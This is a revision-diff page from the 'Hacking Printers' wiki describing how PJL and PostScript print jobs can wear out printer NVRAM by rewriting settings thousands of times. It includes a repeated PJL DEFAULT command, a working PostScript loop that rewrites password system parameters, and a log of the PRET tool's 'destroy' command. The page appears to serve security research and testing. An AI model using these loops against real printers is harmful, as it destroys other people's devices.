Difference between revisions of "Physical damage"

From Hacking Printers
Jump to: navigation, search
(Cleanup)
 
(9 intermediate revisions by 3 users not shown)
Line 1: Line 1:
Long-term settings for printers and other embedded devices are stored in non-volatile memory ([https://en.wikipedia.org/wiki/Non-volatile_random-access_memory NVRAM]) which is traditionally implemented either as [https://en.wikipedia.org/wiki/EEPROM EEPROM] or as [https://en.wikipedia.org/wiki/Flash_memory flash memory]. Both components have a limited lifetime. On early HP LaserJets `flash chips would only sustain about 1000-2000 cycles of re-writing' <ref>''[http://blog.cyrtech.de/sites/default/files/Counting%20Pages%20in%20Printer%20Data%20Streams%20%28D2%29.pdf Counting Pages in Printer Data Streams]'', J. Deußen, 2011, p. 36</ref>. Today, vendors of flash memory guarantee about 100,000 rewrites before any write errors may occur. This number sounds large, but [[PJL]] and [[PostScript]] print jobs themselves can change long-term settings like paper tray media sizes or control panel passwords. Doing this a lot of times on purpose can be a realistic attack scenario leading to physical destruction of the NVRAM. Note that printing functionality itself is not affected but fixed settings containing wrong values can make the device practically unusable.
+
Long-term settings for printers and other embedded devices are stored in non-volatile memory ([https://en.wikipedia.org/wiki/Non-volatile_random-access_memory NVRAM]) which is traditionally implemented either as [https://en.wikipedia.org/wiki/EEPROM EEPROM] or as [https://en.wikipedia.org/wiki/Flash_memory flash memory]. Both components have a limited lifetime. On early HP LaserJets ‘flash chips would only sustain about 1000-2000 cycles of re-writing’ <ref>''[http://blog.cyrtech.de/sites/default/files/Counting%20Pages%20in%20Printer%20Data%20Streams%20%28D2%29.pdf Counting Pages in Printer Data Streams]'', J. Deußen, 2011, p. 36</ref>. Today, vendors of flash memory guarantee about 100,000 rewrites before any write errors may occur. This number sounds large, but [[PJL]] and [[PostScript]] print jobs themselves can change long-term settings like paper tray media sizes or control panel passwords. Doing this a lot of times on purpose can be a realistic attack scenario leading to physical destruction of the NVRAM. Note that printing functionality itself is not affected but fixed settings containing wrong values can make the device practically unusable.
  
 
== PJL ==
 
== PJL ==
Line 5: Line 5:
 
For a practical test to destroy NVRAM write functionality one can continuously set the long-term value for the number of copies with different values for <code>X</code>:
 
For a practical test to destroy NVRAM write functionality one can continuously set the long-term value for the number of copies with different values for <code>X</code>:
  
  @PJL DEFAULT COPIES=X
+
@PJL DEFAULT COPIES=X
  
In an evalation with 20 laser printers, eight devices indicated a corrupt NVRAM within 24 hours <ref>''[http://homepages.rub.de/jens.mueller-2/publications/2016-exploiting-network-printers.pdf Exploiting Network Printers]'', J. Müller, 2016, p. 41</ref>. Some EEPROM error codes, while others completely refused to set any long-term values anymore. The impact of such physical NVRAM destruction however is limited for two reasons: First, NVRAM parameters were not frozen at their current state (which would have been a random number of copies) but instead fixed to the factory default value. Secondly, all variables could still be changed for the current print job using the <code>@PJL SET...</code> command. Only the functionality to change long-term settings was broken.
+
In an evaluation with 20 laser printers, eight devices indicated a corrupt NVRAM within 24 hours <ref>''Exploiting Network Printers'', J. Müller, 2016, p. 41</ref>. Some gave EEPROM error codes, while others completely refused to set any long-term values anymore. The impact of such physical NVRAM destruction, however, is limited for two reasons: First, NVRAM parameters were not frozen at their current state (which would have been a random number of copies) but instead fixed to the factory default value. Secondly, all variables could still be changed for the current print job using the <code>@PJL SET...</code> command. Only the functionality to change long-term settings was broken.
  
'''How to test this attack?''' The feasibility of this attack, which has been implemented as the ''destroy'' command in [[PRET]] can be tested as follows:
+
'''Testing for the Attack'''
  
  ./pret.py -q printer pjl
+
The feasibility of this attack, which has been implemented as the ''destroy'' command in [[PRET]] can be tested as follows:
  Connection to printer established
+
 
 +
./pret.py -q printer pjl
 +
Connection to printer established
 
   
 
   
  Welcome to the pret shell. Type help or ? to list commands.
+
Welcome to the pret shell. Type help or ? to list commands.
  printer:/> destroy
+
printer:/> destroy
  Warning: This command tries to cause physical damage to the
+
Warning: This command tries to cause physical damage to the
  printer NVRAM. Use at your own risk. Press CTRL+C to abort.
+
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
  Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
+
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
  Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
+
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
  [... wait for about 24 hours ...]
+
[... wait for about 24 hours ...]
  I'm afraid. I'm afraid, Dave. Dave, my mind is going..."
+
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
  NVRAM died after 543894 cycles, 18:46:11
+
NVRAM died after 543894 cycles, 18:46:11
  
'''Who can perform this attack?''' The attack can only be performed by an attacker who has the capability to establish various [[Port 9100 printing|network connections]] over a longer period of time. A [[USB drive or cable|local attacker]] sneaking into a copy room usually does not have enough time to send a continuous datastream of for about 24 hours hours <ref>''Note that it might theoretically be possible to start a large print job – approximately several hundred megabytes of malicious PJL commands – from USB stick on a Friday afternoon and just walk away.''</ref>. However, she can use an axe or a hammer to cause physical damage. In a [[cross-site printing]] scenario, the victim would have to keep an attacker-controlled web site open for hours which may also be considered unrealistic <ref>''Unless you find XSS on Facebook, in which case the impact of broken printers may be negligible.''</ref>.
+
'''Required Privileges'''
 +
 
 +
The attack can only be performed by an attacker who has the capability to establish various [[Port 9100 printing|network connections]] over a long period of time. A [[USB drive or cable|local attacker]] sneaking into a copy room usually does not have enough time to send a continuous datastream for nearly a day. <ref>''Note that it might theoretically be possible to start a large print job – approximately several hundred megabytes of malicious PJL commands – from USB stick on a Friday afternoon and just walk away.''</ref> However, she can use an axe or a hammer to cause physical damage. In a [[cross-site printing]] scenario, the victim would have to keep an attacker-controlled web site open for hours which may also be considered unrealistic. <ref>''Unless you find XSS on Facebook, in which case the impact of broken printers may be negligible.''</ref>
  
 
== PostScript ==
 
== PostScript ==
  
For PostScript, one needs to find an entry in the ''currentsystemparams'' dictionary which survives a reboot (and therefore must be stored in some kind of NVRAM). A good candidate are PostScript passwords as discussed in [[credential disclosure]]. System parameters can be incremented in a PostScript loop as show below, which can lead to a large number of NVRAM write cycles per second if the printers hardware is implemented to write values directly instead of caching them:
+
For PostScript, one needs to find an entry in the ''currentsystemparams'' dictionary which survives a reboot (and therefore must be stored in some kind of NVRAM). A good candidate would be a PostScript password, as discussed in [[credential disclosure]]. System parameters can be incremented in a PostScript loop, as show below, which can lead to a large number of NVRAM write cycles per second if the printer's hardware is implemented to write values directly instead of caching them:
 
+
  /counter 0 def
+
  { << /Password counter 16 string cvs
+
      /SystemParamsPassword counter 1 add 16 string cvs
+
    >> setsystemparams /counter counter 1 add def
+
  } loop
+
 
+
Such ideas are not new: The first PostScript malware in the wild, which appeared in 1990, applied the ''setpassword'' operator multiple times which quickly led to the password becoming unchangeable because of very limited EPROM write cycles on early LaserWriter printers <ref>''[http://web.archive.org/web/20010720184200/http://www.sevenlocks.com/password/pspass.txt New PostScript Virus!?]'', CompuServe Desktop Publishing Forum (via archive.org), 1990</ref><ref>''[http://www.faqs.org/faqs/computer-virus/macintosh-faq/ Viruses and the Macintosh]'', D. Harley, 2000</ref>.
+
 
+
 
+
'''How to test this attack?''' The feasibility of this attack, which has been implemented as the ''destroy'' command in [[PRET]] can be tested as follows:
+
 
+
  ./pret.py -q printer ps
+
  Connection to printer established
+
+
  Welcome to the pret shell. Type help or ? to list commands.
+
  printer:/> destroy
+
  Warning: This command tries to cause physical damage to the
+
  printer NVRAM. Use at your own risk. Press CTRL+C to abort.
+
  Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
+
  NVRAM write cycles: 1000, 2000, 3000, ...
+
 
+
'''Who can perform this attack?''' Any anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].
+
  
 +
<syntaxhighlight lang=postscript>
 +
/counter 0 def
 +
{ << /Password counter 16 string cvs
 +
    /SystemParamsPassword counter 1 add 16 string cvs
 +
  >> setsystemparams /counter counter 1 add def
 +
} loop
 +
</syntaxhighlight>
  
----
+
Such ideas are not new: The first PostScript malware in the wild, which appeared in 1990, applied the ''setpassword'' operator multiple times which quickly led to the password becoming unchangeable because of very limited EEPROM write cycles on early LaserWriter printers.<ref>''[http://web.archive.org/web/20010720184200/http://www.sevenlocks.com/password/pspass.txt New PostScript Virus!?]'', CompuServe Desktop Publishing Forum (via archive.org), 1990</ref><ref>''[http://www.faqs.org/faqs/computer-virus/macintosh-faq/ Viruses and the Macintosh]'', D. Harley, 2000</ref>

Latest revision as of 14:15, 17 June 2017

Long-term settings for printers and other embedded devices are stored in non-volatile memory (NVRAM) which is traditionally implemented either as EEPROM or as flash memory. Both components have a limited lifetime. On early HP LaserJets ‘flash chips would only sustain about 1000-2000 cycles of re-writing’ [1]. Today, vendors of flash memory guarantee about 100,000 rewrites before any write errors may occur. This number sounds large, but PJL and PostScript print jobs themselves can change long-term settings like paper tray media sizes or control panel passwords. Doing this a lot of times on purpose can be a realistic attack scenario leading to physical destruction of the NVRAM. Note that printing functionality itself is not affected but fixed settings containing wrong values can make the device practically unusable.

PJL

For a practical test to destroy NVRAM write functionality one can continuously set the long-term value for the number of copies with different values for X:

@PJL DEFAULT COPIES=X

In an evaluation with 20 laser printers, eight devices indicated a corrupt NVRAM within 24 hours [2]. Some gave EEPROM error codes, while others completely refused to set any long-term values anymore. The impact of such physical NVRAM destruction, however, is limited for two reasons: First, NVRAM parameters were not frozen at their current state (which would have been a random number of copies) but instead fixed to the factory default value. Secondly, all variables could still be changed for the current print job using the @PJL SET... command. Only the functionality to change long-term settings was broken.

Testing for the Attack

The feasibility of this attack, which has been implemented as the destroy command in PRET can be tested as follows:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> destroy
Warning: This command tries to cause physical damage to the
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
[... wait for about 24 hours ...]
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
NVRAM died after 543894 cycles, 18:46:11

Required Privileges

The attack can only be performed by an attacker who has the capability to establish various network connections over a long period of time. A local attacker sneaking into a copy room usually does not have enough time to send a continuous datastream for nearly a day. [3] However, she can use an axe or a hammer to cause physical damage. In a cross-site printing scenario, the victim would have to keep an attacker-controlled web site open for hours which may also be considered unrealistic. [4]

PostScript

For PostScript, one needs to find an entry in the currentsystemparams dictionary which survives a reboot (and therefore must be stored in some kind of NVRAM). A good candidate would be a PostScript password, as discussed in credential disclosure. System parameters can be incremented in a PostScript loop, as show below, which can lead to a large number of NVRAM write cycles per second if the printer's hardware is implemented to write values directly instead of caching them:

/counter 0 def
{ << /Password counter 16 string cvs
     /SystemParamsPassword counter 1 add 16 string cvs
  >> setsystemparams /counter counter 1 add def
} loop
Such ideas are not new: The first PostScript malware in the wild, which appeared in 1990, applied the setpassword operator multiple times which quickly led to the password becoming unchangeable because of very limited EEPROM write cycles on early LaserWriter printers.[5][6]
  1. Counting Pages in Printer Data Streams, J. Deußen, 2011, p. 36
  2. Exploiting Network Printers, J. Müller, 2016, p. 41
  3. Note that it might theoretically be possible to start a large print job – approximately several hundred megabytes of malicious PJL commands – from USB stick on a Friday afternoon and just walk away.
  4. Unless you find XSS on Facebook, in which case the impact of broken printers may be negligible.
  5. New PostScript Virus!?, CompuServe Desktop Publishing Forum (via archive.org), 1990
  6. Viruses and the Macintosh, D. Harley, 2000